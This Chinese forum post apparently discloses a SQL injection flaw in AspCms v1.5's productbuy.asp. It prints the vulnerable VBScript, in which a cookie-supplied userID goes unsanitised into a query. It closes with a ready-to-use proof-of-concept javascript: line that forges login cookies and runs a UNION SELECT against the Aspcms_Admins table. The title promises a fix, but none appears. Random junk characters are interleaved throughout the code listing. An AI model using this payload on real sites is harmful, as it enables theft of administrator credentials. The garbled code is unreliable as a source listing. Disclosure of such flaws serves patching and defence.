AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
& c. K( ^# n9 Y2 i" A3 M也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

% d# }  _5 s1 h3 E* I<%

7 K1 S, ]8 H8 u! r9 kif action = "buy" then
% b: G) G% V$ I' E3 l. z7 e# d
        addOrder()
' s0 A4 R2 W( Q, K+ p1 y
+ r( C, T) w+ h! ]7 G! d7 f2 d7 Welse
' s3 f9 F8 T" B: L/ B
        echoContent()
  X$ W, e3 e* |
end if
* n* o( M& R% {7 w' z+ P% a

8 I, \2 k+ @" \; ~
……略过
! o- I8 j. E3 J( h& H1 F


Sub echoContent()
% {! p2 X+ G: Z$ B# \9 Y
        dim id
, ?9 \4 T7 E1 j- J: f. `2 Q* ^2 }
        id=getForm("id","get")

. U2 B1 {5 k: z$ y) ^        
9 ^6 M: W% |  d, p  M  Z
9 D8 ?! `- }' r        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

1 H  T* V! ~* Y- k" D9 R        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

* c0 h6 p' J/ Q* g! E. r        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
# U9 y3 V1 D0 c8 w
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

3 v8 e9 o( i) I" R
) R9 L) [& h6 p3 ]
1 v( |0 P3 o/ p' F) ^0 x' ?        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

7 ^: Q  ]# ^- ?) I        selectproduct=rsObj(0)
' `  ?, z% O* q: F
        

9 W4 ]3 J& ]; B# f        Dim linkman,gender,phone,mobile,email,qq,address,postcode
2 a' b0 s& D: p, i' ]2 k
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
  W) b3 F( V/ r% p+ `* M# {
        if rCookie("loginstatus")=1 then  
+ o( A4 O0 ?2 i0 L
. x& d3 k" ~8 M4 ~                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
* E; N5 I% h+ E6 V
                linkman=rsObj("truename")

                gender=rsObj("gender")

! e0 u' d+ l9 }# l) E8 G' u% k                phone=rsObj("phone")
0 c: n& k9 U( E4 W& P4 v6 _
                mobile=rsObj("mobile")
5 x. f: g( o2 Q6 ], f
8 f1 i; @9 T* [" \. k3 m                email=rsObj("email")

                qq=rsObj("qq")
3 I$ Q3 \; E9 _5 h1 @6 D! Y
                address=rsObj("address")

0 S0 b; z( ]' Q/ {6 r                postcode=rsObj("postcode")

  Y, T! A. ~9 O: e        else
4 F3 p) G* j- H
( k( S0 h; S$ s; }3 Y                gender=1

        end if
$ n: C- q5 b& Y* }
+ i, k# T& D, @2 e" M0 t        rsObj.close()
2 ?$ {' t2 d* ]
: S9 m; j5 w& m+ `: S8 ^               
( N( k3 \  |' V/ H
        with templateObj
, s) Y! j- j% g% M" ^
                .content=loadFile(templatePath)        
& t) N( r! z  f- ]
                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
0 n. ^& v0 ^# I$ d; y* t4 B0 A& j
# d" q/ \% ?! ^                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

! i/ W. d3 y" r8 P                .content=replaceStr(.content,"[aspcms:gender]",gender)               
) H# t4 p& r$ G4 Z
0 c8 K: @9 g; C. D8 w                .content=replaceStr(.content,"[aspcms:phone]",phone)               
3 Z& q  O% \6 @/ @/ b' U6 j
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

2 n4 a; A4 o) `! `: b                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
8 V, ~1 Q# i5 H6 ~( ]
) u9 w/ D! l/ l: ?; D1 O9 [' P! u9 N                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
7 J, X: O( w! D, A
                .parseCommon()                 

3 f% f* ]2 _* S/ |                echo .content
% {3 L0 }+ T/ l0 J# W
        end with
& V! g/ h1 j  f; ~" i9 T
5 I9 A* O5 v  ]2 S& E9 A        set templateobj =nothing : terminateAllObjects
1 B) p$ y( C# |6 N% R; x" b0 W3 v
; e8 ]% t% T" a7 K- p. q  C! n2 n6 dEnd Sub
漏洞很明显，没啥好说的
poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​